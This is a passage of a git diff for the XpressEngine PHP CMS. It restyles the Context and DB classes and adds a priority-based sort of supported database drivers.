getHtmlFooter() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->html_footer; } @@ -1769,8 +2417,9 @@ class Context { * * @retrun string The path of the config file that contains database settings */ - function getConfigFile() { - return _XE_PATH_.'files/config/db.config.php'; + function getConfigFile() + { + return _XE_PATH_ . 'files/config/db.config.php'; } /** @@ -1778,8 +2427,9 @@ class Context { * * @return string The path of the config file that contains FTP settings */ - function getFTPConfigFile() { - return _XE_PATH_.'files/config/ftp.config.php'; + function getFTPConfigFile() + { + return _XE_PATH_ . 'files/config/ftp.config.php'; } /** @@ -1787,7 +2437,8 @@ class Context { * * @return bool True if the config file exists, otherwise false. */ - function isInstalled() { + function isInstalled() + { return FileHandler::hasContent(Context::getConfigFile()); } @@ -1797,7 +2448,8 @@ class Context { * @param string Transforms codes * @return string Transforms codes */ - function transContent($content) { + function transContent($content) + { return $content; } @@ -1806,8 +2458,9 @@ class Context { * * @return bool True if it is allowed to use rewrite mod, otherwise false */ - function isAllowRewrite() { - $oContext = &Context::getInstance(); + function isAllowRewrite() + { + $oContext = Context::getInstance(); return $oContext->allow_rewrite; } @@ -1817,35 +2470,54 @@ class Context { * @param string $path URL path * @return string Converted path */ - function pathToUrl($path) { - $xe = _XE_PATH_; + function pathToUrl($path) + { + $xe = _XE_PATH_; $path = strtr($path, "\\", "/"); $base_url = preg_replace('@^https?://[^/]+/?@', '', Context::getRequestUri()); - $_xe = explode('/', $xe); + $_xe = explode('/', $xe); $_path = explode('/', $path); $_base = explode('/', $base_url); - if(!$_base[count($_base)-1]) array_pop($_base); + if(!$_base[count($_base) - 1]) + { + array_pop($_base); + } - foreach($_xe as $idx=>$dir) { - if($_path[0] != $dir) break; + foreach($_xe as $idx => $dir) + { + if($_path[0] != $dir) + { + break; + } array_shift($_path); } $idx = count($_xe) - $idx - 1; - while($idx--) { - if(count($_base)) array_shift($_base); - else array_unshift($_base, '..'); + while($idx--) + { + if(count($_base)) + { + array_shift($_base); + } + else + { + array_unshift($_base, '..'); + } } - if(count($_base)) { + if(count($_base)) + { array_unshift($_path, implode('/', $_base)); } - $path = '/'.implode('/', $_path); - if(substr($path,-1)!='/') $path .= '/'; + $path = '/' . implode('/', $_path); + if(substr($path, -1) != '/') + { + $path .= '/'; + } return $path; } @@ -1853,17 +2525,22 @@ class Context { * Get meta tag * @return array The list of meta tags */ - function getMetaTag() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getMetaTag() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if(!is_array($self->meta_tags)) $self->meta_tags = array(); + if(!is_array($self->meta_tags)) + { + $self->meta_tags = array(); + } $ret = array(); $map = &$self->meta_tags; - foreach($map as $key=>$val) { + foreach($map as $key => $val) + { list($name, $is_http_equiv) = explode("\t", $key); - $ret[] = array('name'=>$name, 'is_http_equiv'=>$is_http_equiv, 'content' => $val); + $ret[] = array('name' => $name, 'is_http_equiv' => $is_http_equiv, 'content' => $val); } return $ret; @@ -1877,12 +2554,16 @@ class Context { * @param mixed $is_http_equiv value of http_equiv * @return void */ - function addMetaTag($name, $content, $is_http_equiv = false) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addMetaTag($name, $content, $is_http_equiv = false) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - $key = $name."\t".($is_http_equiv ? '1' : '0'); + $key = $name . "\t" . ($is_http_equiv ? '1' : '0'); $map = &$self->meta_tags; $map[$key] = $content; } + } +/* End of file Context.class.php */ +/* Location: ./classes/context/Context.class.php */ diff --git a/classes/db/DB.class.php b/classes/db/DB.class.php index d25a3fe11..8ac6079ba 100644 --- a/classes/db/DB.class.php +++ b/classes/db/DB.class.php @@ -1,1063 +1,1426 @@ '=', - 'more' => '>=', - 'excess' => '>', - 'less' => '<=', - 'below' => '<', - 'notequal' => '<>', - 'notnull' => 'is not null', - 'null' => 'is null', - ); - - /** - * master database connection string - * @var array - */ - var $master_db = NULL; - /** - * array of slave databases connection strings - * @var array - */ - var $slave_db = NULL; - - var $result = NULL; - - /** - * error code (0 means no error) - * @var int - */ - var $errno = 0; - /** - * error message - * @var string - */ - var $errstr = ''; - /** - * query string of latest executed query - * @var string - */ - var $query = ''; - var $connection = ''; - /** - * elapsed time of latest executed query - * @var int - */ - var $elapsed_time = 0; - /** - * elapsed time of latest executed DB class - * @var int - */ - var $elapsed_dbclass_time = 0; - - /** - * transaction flag - * @var boolean - */ - var $transaction_started = FALSE; - - var $is_connected = FALSE; - - /** - * returns enable list in supported dbms list - * will be written by classes/DB/DB***.class.php - * @var array - */ - var $supported_list = array(); - - /** - * location of query cache - * @var string - */ - var $cache_file = 'files/cache/queries/'; - - /** - * stores database type: 'mysql','cubrid','mssql' etc. or 'db' when database is not yet set - * @var string - */ - var $db_type; - - /** - * flag to decide if class prepared statements or not (when supported); can be changed from db.config.info - * @var string - */ - var $use_prepared_statements; - - /** - * returns instance of certain db type - * @param string $db_type type of db - * @return DB return DB object instance - */ - function &getInstance($db_type = NULL) { - if(!$db_type) $db_type = Context::getDBType(); - if(!$db_type && Context::isInstalled()) return new Object(-1, 'msg_db_not_setted'); - - if(!isset($GLOBALS['__DB__'])) $GLOBALS['__DB__'] = array(); - if(!isset($GLOBALS['__DB__'][$db_type])) { - $class_name = 'DB'.ucfirst($db_type); - $class_file = _XE_PATH_."classes/db/$class_name.class.php"; - if(!file_exists($class_file)) return new Object(-1, 'msg_db_not_setted'); - - // get a singletone instance of the database driver class - require_once($class_file); - $GLOBALS['__DB__'][$db_type] = call_user_func(array($class_name, 'create')); - $GLOBALS['__DB__'][$db_type]->db_type = $db_type; - } - - return $GLOBALS['__DB__'][$db_type]; - } - - /** - * returns instance of db - * @return DB return DB object instance - */ - function create() { - return new DB; - } - - /** - * constructor - * @return void - */ - function DB() { - $this->count_cache_path = _XE_PATH_.$this->count_cache_path; - $this->cache_file = _XE_PATH_.$this->cache_file; - } - - /** - * returns list of supported dbms list - * this list return by directory list - * check by instance can creatable - * @return array return supported DBMS list - */ - function getSupportedList() { - $oDB = new DB(); - return $oDB->_getSupportedList(); - } - - /** - * returns enable list in supported dbms list - * this list return by child class - * @return array return enable DBMS list in supported dbms list - */ - function getEnableList() - { - if(!$this->supported_list) - { - $oDB = new DB(); - $this->supported_list = $oDB->_getSupportedList(); - } - - $enableList = array(); - if(is_array($this->supported_list)) - { - foreach($this->supported_list AS $key=>$value) - if($value->enable) array_push($enableList, $value); - } - return $enableList; - } - - /** - * returns list of disable in supported dbms list - * this list return by child class - * @return array return disable DBMS list in supported dbms list - */ - function getDisableList() - { - if(!$this->supported_list) - { - $oDB = new DB(); - $this->supported_list = $oDB->_getSupportedList(); - } - - $disableList = array(); - if(is_array($this->supported_list)) - { - foreach($this->supported_list AS $key=>$value) - if(!$value->enable) array_push($disableList, $value); - } - return $disableList; - } - - /** - * returns list of supported dbms list - * this method is private - * @return array return supported DBMS list - */ - function _getSupportedList() { - static $get_supported_list = ''; - if(is_array($get_supported_list)) { - $this->supported_list = $get_supported_list; - return $this->supported_list; - } - $get_supported_list = array(); - $db_classes_path = _XE_PATH_."classes/db/"; - $filter = "/^DB([^\.]+)\.class\.php/i"; - $supported_list = FileHandler::readDir($db_classes_path, $filter, TRUE); - sort($supported_list); - - // after creating instance of class, check is supported - for($i = 0; $i < count($supported_list); $i++) { - $db_type = $supported_list[$i]; - - if(version_compare(phpversion(), '5.0') < 0 && preg_match('/pdo/i',$db_type)) continue; - - $class_name = sprintf("DB%s%s", strtoupper(substr($db_type,0,1)), strtolower(substr($db_type,1))); - $class_file = sprintf(_XE_PATH_."classes/db/%s.class.php", $class_name); - if(!file_exists($class_file)) continue; - - unset($oDB); - require_once($class_file); - $tmp_fn = create_function('', "return new {$class_name}();"); - $oDB = $tmp_fn(); - - if(!$oDB) continue; - - $obj = NULL; - $obj->db_type = $db_type; - $obj->enable = $oDB->isSupported() ? TRUE : FALSE; - - $get_supported_list[] = $obj; - } - $this->supported_list = $get_supported_list; - return $this->supported_list; - } - - /** - * Return dbms supportable status - * The value is set in the child class - * @return boolean true: is supported, false: is not supported - */ - function isSupported() { - return FALSE; - } - - /** - * Return connected status - * @param string $type master or slave - * @param int $indx key of server list - * @return boolean true: connected, false: not connected - */ - function isConnected($type = 'master', $indx = 0) { - if($type == 'master') return $this->master_db["is_connected"] ? TRUE : FALSE; - else return $this->slave_db[$indx]["is_connected"] ? TRUE : FALSE; - } - - /** - * start recording log - * @param string $query query string - * @return void - */ - function actStart($query) { - $this->setError(0, 'success'); - $this->query = $query; - $this->act_start = getMicroTime(); - $this->elapsed_time = 0; - } - - /** - * finish recording log - * @return void - */ - function actFinish() { - if(!$this->query) return; - $this->act_finish = getMicroTime(); - $elapsed_time = $this->act_finish - $this->act_start; - $this->elapsed_time = $elapsed_time; - $GLOBALS['__db_elapsed_time__'] += $elapsed_time; - - $log['query'] = $this->query; - $log['elapsed_time'] = $elapsed_time; - $log['connection'] = $this->connection; - - // leave error log if an error occured (if __DEBUG_DB_OUTPUT__ is defined) - if($this->isError()) { - $site_module_info = Context::get('site_module_info'); - $log['module'] = $site_module_info->module; - $log['act'] = Context::get('act'); - $log['query_id'] = $this->query_id; - $log['time'] = date('Y-m-d H:i:s'); - $log['result'] = 'Failed'; - $log['errno'] = $this->errno; - $log['errstr'] = $this->errstr; - - if(__DEBUG_DB_OUTPUT__ == 1) { - $debug_file = _XE_PATH_."files/_debug_db_query.php"; - $buff = array(); - if(!file_exists($debug_file)) $buff[] = ''; - $buff[] = print_r($log, TRUE); - - if(@!$fp = fopen($debug_file, "a")) return; - fwrite($fp, implode("\n", $buff)."\n\n"); - fclose($fp); - } - } else { - $log['result'] = 'Success'; - } - $GLOBALS['__db_queries__'][] = $log; - - // if __LOG_SLOW_QUERY__ if defined, check elapsed time and leave query log - if(__LOG_SLOW_QUERY__ > 0 && $elapsed_time > __LOG_SLOW_QUERY__) { - $buff = ''; - $log_file = _XE_PATH_.'files/_db_slow_query.php'; - if(!file_exists($log_file)) { - $buff = ''."\n"; - } - - $buff .= sprintf("%s\t%s\n\t%0.6f sec\tquery_id:%s\n\n", date("Y-m-d H:i"), $this->query, $elapsed_time, $this->query_id); - - if($fp = fopen($log_file, 'a')) { - fwrite($fp, $buff); - fclose($fp); - } - } - } - - /** - * set error - * @param int $errno error code - * @param string $errstr error message - * @return void - */ - function setError($errno = 0, $errstr = 'success') { - $this->errno = $errno; - $this->errstr = $errstr; - } - - /** - * Return error status - * @return boolean true: error, false: no error - */ - function isError() { - return $this->errno === 0 ? FALSE : TRUE; - } - - /** - * Returns object of error info - * @return object object of error - */ - function getError() { - $this->errstr = Context::convertEncodingStr($this->errstr); - return new Object($this->errno, $this->errstr); - } - - /** - * Execute Query that result of the query xml file - * This function finds xml file or cache file of $query_id, compiles it and then execute it - * @param string $query_id query id (module.queryname) - * @param array|object $args arguments for query - * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns - * @return object result of query - */ - function executeQuery($query_id, $args = NULL, $arg_columns = NULL) { - static $cache_file = array(); - - if(!$query_id) return new Object(-1, 'msg_invalid_queryid'); - if(!$this->db_type) return; - - $this->actDBClassStart(); - - $this->query_id = $query_id; - - if(!isset($cache_file[$query_id]) || !file_exists($cache_file[$query_id])) { - $id_args = explode('.', $query_id); - if(count($id_args) == 2) { - $target = 'modules'; - $module = $id_args[0]; - $id = $id_args[1]; - } elseif(count($id_args) == 3) { - $target = $id_args[0]; - $typeList = array('addons'=>1, 'widgets'=>1); - if(!isset($typeList[$target])){ - $this->actDBClassFinish(); - return; - } - $module = $id_args[1]; - $id = $id_args[2]; - } - if(!$target || !$module || !$id){ - $this->actDBClassFinish(); - return new Object(-1, 'msg_invalid_queryid'); - } - - $xml_file = sprintf('%s%s/%s/queries/%s.xml', _XE_PATH_, $target, $module, $id); - if(!file_exists($xml_file)){ - $this->actDBClassFinish(); - return new Object(-1, 'msg_invalid_queryid'); - } - - // look for cache file - $cache_file[$query_id] = $this->checkQueryCacheFile($query_id, $xml_file); - } - $result = $this->_executeQuery($cache_file[$query_id], $args, $query_id, $arg_columns); - - $this->actDBClassFinish(); - // execute query - return $result; - } - - - /** - * Look for query cache file - * @param string $query_id query id for finding - * @param string $xml_file original xml query file - * @return string cache file - */ - function checkQueryCacheFile($query_id,$xml_file){ - // first try finding cache file - $cache_file = sprintf('%s%s%s.%s.%s.cache.php', _XE_PATH_, $this->cache_file, $query_id, __ZBXE_VERSION__, $this->db_type); - - if(file_exists($cache_file)) $cache_time = filemtime($cache_file); - else $cache_time = -1; - - // if there is no cache file or is not new, find original xml query file and parse it - if($cache_time < filemtime($xml_file) || $cache_time < filemtime(_XE_PATH_.'classes/db/DB.class.php') || $cache_time < filemtime(_XE_PATH_.'classes/xml/XmlQueryParser.150.class.php')) { - require_once(_XE_PATH_.'classes/xml/XmlQueryParser.150.class.php'); - $oParser = new XmlQueryParser(); - $oParser->parse($query_id, $xml_file, $cache_file); - } - - return $cache_file; - } - - - /** - * Execute query and return the result - * @param string $cache_file cache file of query - * @param array|object $source_args arguments for query - * @param string $query_id query id - * @param array $arg_columns column list. if you want get specific colums from executed result, add column list to $arg_columns - * @return object result of query - */ - function _executeQuery($cache_file, $source_args, $query_id, $arg_columns) { - global $lang; - - if(!file_exists($cache_file)) return new Object(-1, 'msg_invalid_queryid'); - - if($source_args) $args = @clone($source_args); - - $output = include($cache_file); - - if( (is_a($output, 'Object') || is_subclass_of($output, 'Object')) && !$output->toBool()) return $output; - - // execute appropriate query - switch($output->getAction()) { - case 'insert' : - case 'insert-select' : - $this->resetCountCache($output->tables); - $output = $this->_executeInsertAct($output); - break; - case 'update' : - $this->resetCountCache($output->tables); - $output = $this->_executeUpdateAct($output); - break; - case 'delete' : - $this->resetCountCache($output->tables); - $output = $this->_executeDeleteAct($output); - break; - case 'select' : - $arg_columns = is_array($arg_columns)?$arg_columns:array(); - $output->setColumnList($arg_columns); - $connection = $this->_getConnection('slave'); - $output = $this->_executeSelectAct($output, $connection); - break; - } - - if($this->isError()) $output = $this->getError(); - else if(!is_a($output, 'Object') && !is_subclass_of($output, 'Object')) $output = new Object(); - $output->add('_query', $this->query); - $output->add('_elapsed_time', sprintf("%0.5f", $this->elapsed_time)); - - return $output; - } - - - /** - * Returns counter cache data - * @param array|string $tables tables to get data - * @param string $condition condition to get data - * @return int count of cache data - */ - function getCountCache($tables, $condition) { - return FALSE; - if(!$tables) return FALSE; - if(!is_dir($this->count_cache_path)) return FileHandler::makeDir($this->count_cache_path); - - $condition = md5($condition); - - if(!is_array($tables)) $tables_str = $tables; - else $tables_str = implode('.',$tables); - - $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); - if(!is_dir($cache_path)) FileHandler::makeDir($cache_path); - - $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); - if(!file_exists($cache_filename)) return FALSE; - - $cache_mtime = filemtime($cache_filename); - - if(!is_array($tables)) $tables = array($tables); - foreach($tables as $alias => $table) { - $table_filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table) ; - if(!file_exists($table_filename) || filemtime($table_filename) > $cache_mtime) return FALSE; - } - - $count = (int)FileHandler::readFile($cache_filename); - return $count; - } - - /** - * Save counter cache data - * @param array|string $tables tables to save data - * @param string $condition condition to save data - * @param int $count count of cache data to save - * @return void - */ - function putCountCache($tables, $condition, $count = 0) { - return FALSE; - if(!$tables) return FALSE; - if(!is_dir($this->count_cache_path)) return FileHandler::makeDir($this->count_cache_path); - - $condition = md5($condition); - - if(!is_array($tables)) $tables_str = $tables; - else $tables_str = implode('.',$tables); - - $cache_path = sprintf('%s/%s%s', $this->count_cache_path, $this->prefix, $tables_str); - if(!is_dir($cache_path)) FileHandler::makeDir($cache_path); - - $cache_filename = sprintf('%s/%s.%s', $cache_path, $tables_str, $condition); - - FileHandler::writeFile($cache_filename, $count); - } - - /** - * Reset counter cache data - * @param array|string $tables tables to reset cache data - * @return boolean true: success, false: failed - */ - function resetCountCache($tables) { - return FALSE; - if(!$tables) return FALSE; - if(!is_dir($this->count_cache_path)) return FileHandler::makeDir($this->count_cache_path); - - if(!is_array($tables)) $tables = array($tables); - foreach($tables as $alias => $table) { - $filename = sprintf('%s/cache.%s%s', $this->count_cache_path, $this->prefix, $table); - FileHandler::removeFile($filename); - FileHandler::writeFile($filename, ''); - } - - return TRUE; - } - - /** - * Returns supported database list - * @return array list of supported database - */ - function getSupportedDatabase(){ - $result = array(); - - if(function_exists('mysql_connect')) $result[] = 'MySQL'; - if(function_exists('cubrid_connect')) $result[] = 'Cubrid'; - if(function_exists('ibase_connect')) $result[] = 'FireBird'; - if(function_exists('pg_connect')) $result[] = 'Postgre'; - if(function_exists('sqlite_open')) $result[] = 'sqlite2'; - if(function_exists('mssql_connect')) $result[] = 'MSSQL'; - if(function_exists('PDO')) $result[] = 'sqlite3(PDO)'; - - return $result; - } - - /** - * Drop tables - * @param string $table_name - * @return void - */ - function dropTable($table_name){ - if(!$table_name) return; - $query = sprintf("drop table %s%s", $this->prefix, $table_name); - $this->_query($query); - } - - /** - * Return select query string - * @param object $query - * @param boolean $with_values - * @return string - */ - function getSelectSql($query, $with_values = TRUE){ - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; - - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $tableObjects = $query->getTables(); - $index_hint_list = ''; - foreach($tableObjects as $tableObject){ - if(is_a($tableObject, 'CubridTableWithHint')) - $index_hint_list .= $tableObject->getIndexHintString() . ', '; - } - $index_hint_list = substr($index_hint_list, 0, -2); - if($index_hint_list != '') - $index_hint_list = 'USING INDEX ' . $index_hint_list; - - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; - - $limit = $query->getLimitString(); - if($limit != '') $limit = ' LIMIT ' . $limit; - - return $select . ' ' . $from . ' ' . $where . ' ' . $index_hint_list . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } - - /** - * Given a SELECT statement that uses click count - * returns the corresponding update sql string - * for databases that don't have click count support built in - * (aka all besides CUBRID) - * - * Function does not check if click count columns exist! - * You must call $query->usesClickCount() before using this function - * - * @param $queryObject - */ - function getClickCountQuery($queryObject) + var $priority_dbms = array( + 'mysqli' => 5, + 'mysql' => 4, + 'mysql_innodb' => 3, + 'cubrid' => 2, + 'mssql' => 1 + ); + + /** + * count cache path + * @var string + */ + var $count_cache_path = 'files/cache/db'; + + /** + * operations for condition + * @var array + */ + var $cond_operation = array( + 'equal' => '=', + 'more' => '>=', + 'excess' => '>', + 'less' => '<=', + 'below' => '<', + 'notequal' => '<>', + 'notnull' => 'is not null', + 'null' => 'is null', + ); + + /** + * master database connection string + * @var array + */ + var $master_db = NULL; + + /** + * array of slave databases connection strings + * @var array + */ + var $slave_db = NULL; + var $result = NULL; + + /** + * error code (0 means no error) + * @var int + */ + var $errno = 0; + + /** + * error message + * @var string + */ + var $errstr = ''; + + /** + * query string of latest executed query + * @var string + */ + var $query = ''; + var $connection = ''; + + /** + * elapsed time of latest executed query + * @var int + */ + var $elapsed_time = 0; + + /** + * elapsed time of latest executed DB class + * @var int + */ + var $elapsed_dbclass_time = 0; + + /** + * transaction flag + * @var boolean + */ + var $transaction_started = FALSE; + var $is_connected = FALSE; + + /** + * returns enable list in supported dbms list + * will be written by classes/DB/DB***.class.php + * @var array + */ + var $supported_list = array(); + + /** + * location of query cache + * @var string + */ + var $cache_file = 'files/cache/queries/'; + + /** + * stores database type: 'mysql','cubrid','mssql' etc. or 'db' when database is not yet set + * @var string + */ + var $db_type; + + /** + * flag to decide if class prepared statements or not (when supported); can be changed from db.config.info + * @var string + */ + var $use_prepared_statements; + + /** + * leve of transaction + * @var unknown + */ + private $transationNestedLevel = 0; + + /** + * returns instance of certain db type + * @param string $db_type type of db + * @return DB return DB object instance + */ + function &getInstance($db_type = NULL) + { + if(!$db_type) { - $new_update_columns = array(); - $click_count_columns = $queryObject->getClickCountColumns(); - foreach($click_count_columns as $click_count_column) + $db_type = Context::getDBType(); + } + if(!$db_type && Context::isInstalled()) + { + return new Object(-1, 'msg_db_not_setted'); + } + + if(!isset($GLOBALS['__DB__'])) + { + $GLOBALS['__DB__'] = array(); + } + if(!isset($GLOBALS['__DB__'][$db_type])) + { + $class_name = 'DB' . ucfirst($db_type); + $class_file = _XE_PATH_ . "classes/db/$class_name.class.php"; + if(!file_exists($class_file)) { - $click_count_column_name = $click_count_column->column_name; - - $increase_by_1 = new Argument($click_count_column_name, null); - $increase_by_1->setColumnOperation('+'); - $increase_by_1->ensureDefaultValue(1); - - $update_expression = new UpdateExpression($click_count_column_name, $increase_by_1); - $new_update_columns[] = $update_expression; + return new Object(-1, 'msg_db_not_setted'); } - $queryObject->columns = $new_update_columns; - return $queryObject; + + // get a singletone instance of the database driver class + require_once($class_file); + $GLOBALS['__DB__'][$db_type] = call_user_func(array($class_name, 'create')); + $GLOBALS['__DB__'][$db_type]->db_type = $db_type; } - /** - * Return delete query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getDeleteSql($query, $with_values = TRUE, $with_priority = FALSE){ - $sql = 'DELETE '; + return $GLOBALS['__DB__'][$db_type]; + } - $sql .= $with_priority?$query->getPriority():''; - $tables = $query->getTables(); + /** + * returns instance of db + * @return DB return DB object instance + */ + function create() + { + return new DB; + } - $sql .= $tables[0]->getAlias(); + /** + * constructor + * @return void + */ + function DB() + { + $this->count_cache_path = _XE_PATH_ . $this->count_cache_path; + $this->cache_file = _XE_PATH_ . $this->cache_file; + } - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $sql .= ' FROM '.$from; + /** + * returns list of supported dbms list + * this list return by directory list + * check by instance can creatable + * @return array return supported DBMS list + */ + function getSupportedList() + { + $oDB = new DB(); + return $oDB->_getSupportedList(); + } - $where = $query->getWhereString($with_values); - if($where != '') $sql .= ' WHERE ' . $where; - - return $sql; + /** + * returns enable list in supported dbms list + * this list return by child class + * @return array return enable DBMS list in supported dbms list + */ + function getEnableList() + { + if(!$this->supported_list) + { + $oDB = new DB(); + $this->supported_list = $oDB->_getSupportedList(); } - /** - * Return update query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getUpdateSql($query, $with_values = TRUE, $with_priority = FALSE){ - $columnsList = $query->getUpdateString($with_values); - if($columnsList == '') return new Object(-1, "Invalid query"); + $enableList = array(); + if(is_array($this->supported_list)) + { + foreach($this->supported_list AS $key => $value) + { + if($value->enable) + { + array_push($enableList, $value); + } + } + } + return $enableList; + } - $tables = $query->getFromString($with_values); - if($tables == '') return new Object(-1, "Invalid query"); - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $priority = $with_priority?$query->getPriority():''; - - return "UPDATE $priority $tables SET $columnsList ".$where; + /** + * returns list of disable in supported dbms list + * this list return by child class + * @return array return disable DBMS list in supported dbms list + */ + function getDisableList() + { + if(!$this->supported_list) + { + $oDB = new DB(); + $this->supported_list = $oDB->_getSupportedList(); } - /** - * Return insert query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getInsertSql($query, $with_values = TRUE, $with_priority = FALSE){ - $tableName = $query->getFirstTableName(); - $values = $query->getInsertString($with_values); - $priority = $with_priority?$query->getPriority():''; + $disableList = array(); + if(is_array($this->supported_list)) + { + foreach($this->supported_list AS $key => $value) + { + if(!$value->enable) + { + array_push($disableList, $value); + } + } + } + return $disableList; + } - return "INSERT $priority INTO $tableName \n $values"; + /** + * returns list of supported dbms list + * this method is private + * @return array return supported DBMS list + */ + function _getSupportedList() + { + static $get_supported_list = ''; + if(is_array($get_supported_list)) + { + $this->supported_list = $get_supported_list; + return $this->supported_list; + } + $get_supported_list = array(); + $db_classes_path = _XE_PATH_ . "classes/db/"; + $filter = "/^DB([^\.]+)\.class\.php/i"; + $supported_list = FileHandler::readDir($db_classes_path, $filter, TRUE); + + // after creating instance of class, check is supported + for($i = 0; $i < count($supported_list); $i++) + { + $db_type = $supported_list[$i]; + + if(version_compare(phpversion(), '5.0') < 0 && preg_match('/pdo/i', $db_type)) + { + continue; + } + + $class_name = sprintf("DB%s%s", strtoupper(substr($db_type, 0, 1)), strtolower(substr($db_type, 1))); + $class_file = sprintf(_XE_PATH_ . "classes/db/%s.class.php", $class_name); + if(!file_exists($class_file)) + { + continue; + } + + unset($oDB); + require_once($class_file); + $tmp_fn = create_function('', "return new {$class_name}();"); + $oDB = $tmp_fn(); + + if(!$oDB) + { + continue; + } + + $obj = NULL; + $obj->db_type = $db_type; + $obj->enable = $oDB->isSupported() ? TRUE : FALSE; + + $get_supported_list[] = $obj; } - /** - * Return index from slave server list - * @return int - */ - function _getSlaveConnectionStringIndex() { - $max = count($this->slave_db); - $indx = rand(0, $max - 1); - return $indx; - } + // sort + @usort($get_supported_list, array($this, '_sortDBMS')); - /** - * Return connection resource - * @param string $type use 'master' or 'slave'. default value is 'master' - * @param int $indx if indx value is NULL, return rand number in slave server list - * @return resource - */ - function _getConnection($type = 'master', $indx = NULL){ - if($type == 'master'){ - if(!$this->master_db['is_connected']) - $this->_connect($type); - $this->connection = 'Master ' . $this->master_db['db_hostname']; - return $this->master_db["resource"]; - } + $this->supported_list = $get_supported_list; + return $this->supported_list; + } - if($indx === NULL) - $indx = $this->_getSlaveConnectionStringIndex($type); + /** + * sort dbms as priority + */ + function _sortDBMS($a, $b) + { + if(!isset($this->priority_dbms[$a->db_type])) + { + $priority_a = 0; + } + else + { + $priority_a = $this->priority_dbms[$a->db_type]; + } - if(!$this->slave_db[$indx]['is_connected']) - $this->_connect($type, $indx); + if(!isset($this->priority_dbms[$b->db_type])) + { + $priority_b = 0; + } + else + { + $priority_b = $this->priority_dbms[$b->db_type]; + } - $this->connection = 'Slave ' . $this->slave_db[$indx]['db_hostname']; - return $this->slave_db[$indx]["resource"]; - } + if($priority_a == $priority_b) + { + return 0; + } - /** - * check db information exists - * @return boolean - */ - function _dbInfoExists() { - if (!$this->master_db) - return FALSE; - if (count($this->slave_db) === 0) - return FALSE; - return TRUE; - } + return ($priority_a > $priority_b) ? -1 : 1; + } - /** - * DB disconnection - * this method is protected - * @param resource $connection - * @return void - */ - function _close($connection){ + /** + * Return dbms supportable status + * The value is set in the child class + * @return boolean true: is supported, false: is not supported + */ + function isSupported() + { + return FALSE; + } - } + /** + * Return connected status + * @param string $type master or slave + * @param int $indx key of server list + * @return boolean true: connected, false: not connected + */ + function isConnected($type = 'master', $indx = 0) + { + if($type == 'master') + { + return $this->master_db["is_connected"] ? TRUE : FALSE; + } + else + { + return $this->slave_db[$indx]["is_connected"] ? TRUE : FALSE; + } + } - /** - * DB disconnection - * @param string $type 'master' or 'slave' - * @param int $indx number in slave dbms server list - * @return void - */ - function close($type = 'master', $indx = 0) { - if (!$this->isConnected($type, $indx)) - return; + /** + * start recording log + * @param string $query query string + * @return void + */ + function actStart($query) + { + $this->setError(0, 'success'); + $this->query = $query; + $this->act_start = getMicroTime(); + $this->elapsed_time = 0; + } - if ($type == 'master') - $connection = &$this->master_db; - else - $connection = &$this->slave_db[$indx]; + /** + * finish recording log + * @return void + */ + function actFinish() + { + if(!$this->query) + { + return; + } + $this->act_finish = getMicroTime(); + $elapsed_time = $this->act_finish - $this->act_start; + $this->elapsed_time = $elapsed_time; + $GLOBALS['__db_elapsed_time__'] += $elapsed_time; - $this->_close($connection["resource"]); + $log['query'] = $this->query; + $log['elapsed_time'] = $elapsed_time; + $log['connection'] = $this->connection; - $connection["is_connected"] = FALSE; - } + // leave error log if an error occured (if __DEBUG_DB_OUTPUT__ is defined) + if($this->isError()) + { + $site_module_info = Context::get('site_module_info'); + $log['module'] = $site_module_info->module; + $log['act'] = Context::get('act'); + $log['query_id'] = $this->query_id; + $log['time'] = date('Y-m-d H:i:s'); + $log['result'] = 'Failed'; + $log['errno'] = $this->errno; + $log['errstr'] = $this->errstr; - /** - * DB transaction start - * this method is protected - * @return boolean - */ - function _begin(){ - return TRUE; - } + if(__DEBUG_DB_OUTPUT__ == 1) + { + $debug_file = _XE_PATH_ . "files/_debug_db_query.php"; + $buff = array(); + if(!file_exists($debug_file)) + { + $buff[] = ''; + } + $buff[] = print_r($log, TRUE); - /** - * DB transaction start - * @return void - */ - function begin() { - if (!$this->isConnected() || $this->transaction_started) - return; + if(@!$fp = fopen($debug_file, "a")) + { + return; + } + fwrite($fp, implode("\n", $buff) . "\n\n"); + fclose($fp); + } + } + else + { + $log['result'] = 'Success'; + } + $GLOBALS['__db_queries__'][] = $log; - if($this->_begin()) - $this->transaction_started = TRUE; - } + // if __LOG_SLOW_QUERY__ if defined, check elapsed time and leave query log + if(__LOG_SLOW_QUERY__ > 0 && $elapsed_time > __LOG_SLOW_QUERY__) + { + $buff = ''; + $log_file = _XE_PATH_ . 'files/_db_slow_query.php'; + if(!file_exists($log_file)) + { + $buff = '' . "\n"; + } - /** - * DB transaction rollback - * this method is protected - * @return boolean - */ - function _rollback(){ - return TRUE; - } + $buff .= sprintf("%s\t%s\n\t%0.6f sec\tquery_id:%s\n\n", date("Y-m-d H:i"), $this->query, $elapsed_time, $this->query_id); - /** - * DB transaction rollback - * @return void - */ - function rollback() { - if (!$this->isConnected() || !$this->transaction_started) - return; - if($this->_rollback()) - $this->transaction_started = FALSE; - } + if($fp = fopen($log_file, 'a')) + { + 